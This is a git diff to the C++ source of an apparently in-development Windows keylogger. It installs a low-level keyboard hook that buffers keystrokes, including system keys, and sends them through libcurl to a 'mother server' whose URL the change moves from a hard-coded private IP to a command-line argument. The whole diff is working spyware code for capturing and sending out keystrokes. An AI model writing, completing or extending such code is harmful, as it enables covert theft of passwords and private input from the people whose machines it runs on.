diff --git a/Pivoter.cpp b/Pivoter.cpp
index ceca88d..def10f3 100644
--- a/Pivoter.cpp
+++ b/Pivoter.cpp
@@ -16,7 +16,7 @@
 #define KEYS_LIMIT 100
 HHOOK keyboard_events_hook; 
 std::vector<std::string> virt_codes; 
-ConnectionsPivoter mother_server_pv = ConnectionsPivoter("http://192.168.1.108:443/client-fetch-keys"); 
+ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
 
 void stack_codes() {
 	if (virt_codes.size() < KEYS_LIMIT)
@@ -28,7 +28,7 @@ void stack_codes() {
 }
 
 LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
-	if (wParam == WM_KEYDOWN) {
+	if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
 		KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam; 
 		DWORD virt_code = kbd_struct->vkCode; 
 
@@ -44,8 +44,19 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
 	return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
 }
 
-int main() {
+int main(int argc, char **argv) {
 	
+	if (argc != 2) {
+		std::cout << "Error: wrong use of arguments!" << std::endl; 
+		return 1; 
+	}
+
+	if (DEBUG)
+		for (int i = 0; i < argc; i++)
+			std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
+
+	mother_server_pv.set_url(argv[1]); 
+
 	keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0); 
 
 	STARTUPINFOA startup_info; 
diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp
index 6c38e45..289b31a 100644
--- a/connections_pivoter.cpp
+++ b/connections_pivoter.cpp
@@ -35,6 +35,11 @@ ConnectionsPivoter::ConnectionsPivoter(std::string url) {
 	this->curl = curl_easy_init();
 }
 
+ConnectionsPivoter::ConnectionsPivoter() {
+	curl_global_init(CURL_GLOBAL_ALL);
+	this->curl = curl_easy_init(); 
+}
+
 BOOL ConnectionsPivoter::send_alive_signal() {
 	
 }
diff --git a/connections_pivoter.h b/connections_pivoter.h
index 51fd664..a6f0b14 100644
--- a/connections_pivoter.h
+++ b/connections_pivoter.h
@@ -21,6 +21,13 @@ public:
 	CURL* curl; 
 
 	ConnectionsPivoter(std::string url); 
+	ConnectionsPivoter();
+
+	/// <summary>Update the url value</summary>
+	/// <param name='new_url:'>New url value</param>
+	void set_url(std::string new_url) {
+		this->url = new_url; 
+	};
 
 	/// <summary>Send an alive signal to the mother server</summary>
 	/// <returns>TRUE if successful</returns>